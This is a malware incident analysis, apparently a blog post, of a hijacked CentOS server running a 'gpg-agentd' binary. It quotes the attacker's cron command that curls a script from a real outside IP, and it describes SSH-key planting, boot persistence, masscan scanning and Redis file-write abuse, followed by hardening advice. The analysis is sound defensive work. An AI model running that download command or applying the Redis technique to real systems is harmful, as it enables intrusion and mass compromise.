How a Compromised Server Was Hijacked: Inside the gpg-agentd Malware Attack

Background

On a Monday morning the author discovered a server that could not be logged into; the cloud provider had frozen it for "malicious outbound traffic". After changing the SSH port, the author connected as root and found a weak password, indicating a breach.

Clue Finding

The CentOS 6.x server ran nginx, tomcat, redis, etc. A

ps eho command -p 23374

command revealed two processes named

gpg-agentd

. The author noted that gpg‑agent provides SSH support, but the trailing "d" suggested a masqueraded malicious binary.

Investigation of the process path and network status located the malicious executable. Two key questions arose: how was the file uploaded, and what was its purpose?

Malicious Intent

The attacker had set up cron jobs to download and execute a script every 15 minutes:

<code>curl -fsSL 159.89.190.243/ash.php &gt; ash.sh</code>

The downloaded

ash.sh

script performed the following actions:

1. Disabled SELinux and lifted resource limits. 2. Added an SSH public key to /root/.ssh/authorized_keys for password‑less access. 3. Installed bash and fetched a second script bsh.php for further execution.

The second script (

bsh.php

) was much longer and carried out four main functions:

1. Download remote code, make it executable. 2. Modify /etc/rc.local to run the code on boot. 3. Download the open‑source scanner masscan from GitHub and install its dependencies. 4. Execute a third script for additional payloads.

The author examined the

masscan

description, noting its ability to scan the entire Internet at 10 million packets per second, explaining why the cloud provider detected massive outbound traffic.

The final script leveraged a Redis misconfiguration to write files on the host. By configuring Redis to write a malicious payload to

root

and then using the previously installed SSH key, the attacker gained persistent, password‑less root access and launched mass scans of Redis instances across the Internet.

Summary

Through step‑by‑step analysis of the three scripts, the author showed how the attacker first obtained SSH access via a planted public key, then executed remote binaries, and finally used a Redis write‑file vulnerability to propagate the infection at scale. The breach likely began with a brute‑forced root password, as evidenced by numerous failed login records.

Security Recommendations

Server hardening Disable direct root login. Use complex usernames and passwords. Change the default SSH port. Deploy tools like DenyHosts to block brute‑force attempts. Disable password authentication; use RSA key authentication only. Redis hardening Do not bind Redis to public interfaces (avoid 0.0.0.0). Enable password authentication for Redis. Run Redis under a low‑privilege account.

The author invites readers to test the scripts in a controlled environment and welcomes corrections.